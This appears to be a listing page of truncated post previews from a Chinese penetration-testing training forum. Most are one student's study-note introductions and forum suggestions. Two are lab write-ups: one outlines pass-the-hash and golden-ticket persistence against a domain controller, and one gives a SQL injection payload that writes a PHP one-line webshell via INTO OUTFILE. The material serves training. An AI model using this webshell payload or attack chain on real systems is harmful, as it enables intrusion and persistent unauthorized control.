这是接着上一篇文章【内网渗透上WP】（基础知识+靶场操作完整版）SQL拿shell、WIN提权的后续。一、基本思路查询完整域名、找到域控主机—> 通过哈希传递获取域控管理员权限（类似于获取高权限Cookie，成为管理员）—> 登陆域控主机找到关键信息（获取flag）—>制作黄金票据，维持长久权限二、基础知识1、提升本机权限至system，以便查询完整域名、找到域控主机查看域控

一、基础知识1、SQL拿SHELL 两个常用的注入函数into outfile 将一句话木马写入 自动创建的 heason.php文件中http://afsgr16-b1ferw.aqlab.cn/?id=1 and 1=2 union select 1,'<?php @eval($_REQUEST[8]);?>' into outfile ‘C:\\phpStu

这人是谁？我是第八期学员久违的双子座这是我的第六个帖子，希望能坚持下去。这个【学习笔记】系列，是学习第七期正式课程后，总结记录的内容，供提交作业、复习查阅和分享交流使用。下面就开始吧！之前【学习笔记】连接：【学习笔记】第二章 表单验证知识总结【学习笔记】第二章 正则表达式知识总结【学习笔记】第三章 信息搜集—渗透测试的灵魂【学习笔记】注入-全方位利用（上）get/post/head注入【

### 三个问题**1. 请问文章如何收藏？** - 没有找到收藏功能，个人主页中收藏页面也无法使用。 > 建议：希望不仅能收藏，还能自建分类文件夹进行分类管理**2. 同类作业快速查询？** - 在作业专区需找到同类作业，点击名字后才能显示同类作业列表，略显繁琐>建议：希望在导航栏直接能筛选某章节作业，类似提交作业时的选项。![](/upload/md/83ec

## 这人是谁？> 我是第八期学员`久违的双子座`这是我的第五个帖子，希望能坚持下去。这个**【学习笔记】**系列，是学习第七期正式课程后，总结记录的内容，供`提交作业`、`复习查阅`和`分享交流`使用。下面就开始吧！之前【学习笔记】连接：- [【学习笔记】第二章 表单验证知识总结](https://bbs.zkaq.cn/Index/s/KruAlRQl "【学习笔记】

## 这人是谁？> 我是第八期学员`久违的双子座`这是我的第四个帖子，希望能坚持下去。这个**【学习笔记】**系列，是学习第七期正式课程后，总结记录的内容，供`提交作业`、`复习查阅`和`分享交流`使用。下面就开始吧！之前【学习笔记】连接：- [【学习笔记】第二章 表单验证知识总结](https://bbs.zkaq.cn/Index/s/KruAlRQl "【学习笔记】

## 这人是谁？> 我是第八期学员`久违的双子座`这是我的第三个帖子，希望能坚持下去。这个**【学习笔记】**系列，是学习正式课程后，总结记录的内容，供`提交作业`、`复习查阅`和`分享交流`使用。下面就开始吧！之前【学习笔记】连接：- [【学习笔记】第二章 表单验证知识总结](https://bbs.zkaq.cn/Index/s/KruAlRQl "【学习笔记】第二章

## 这人是谁？> 我是第八期学员`久违的双子座`这是我的第二个帖子，希望能坚持下去。这个**【学习笔记】**系列，是学习正式课程后，总结记录的内容，供`提交作业`、`复习查阅`和`分享交流`使用。下面就开始吧！之前【学习笔记】连接：- [【学习笔记】第二章 表单验证知识总结](https://bbs.zkaq.cn/Index/s/KruAlRQl "【学习笔记】第二章

如题 我发的一个文章到技术文章栏目中，为什么找不到呢？是要过审核吗还有看帖子没有按发帖时间进行排序，希望能增加，否则看最新的帖子很麻烦

## 这人是谁？> 我是第八期学员`久违的双子座`这是我的第一个帖子，希望能坚持下去。这个**【学习笔记】**系列，是学习正式课程后，总结记录的内容，供`提交作业`、`复习查阅`和`分享交流`使用。下面就开始吧！## 一、几个简单的概念### 表单1. **概念：**在网页中主要负责数据采集功能。表单是干嘛用的，千言万语汇于下图中，大家细品吧！![表单作用](/upload/m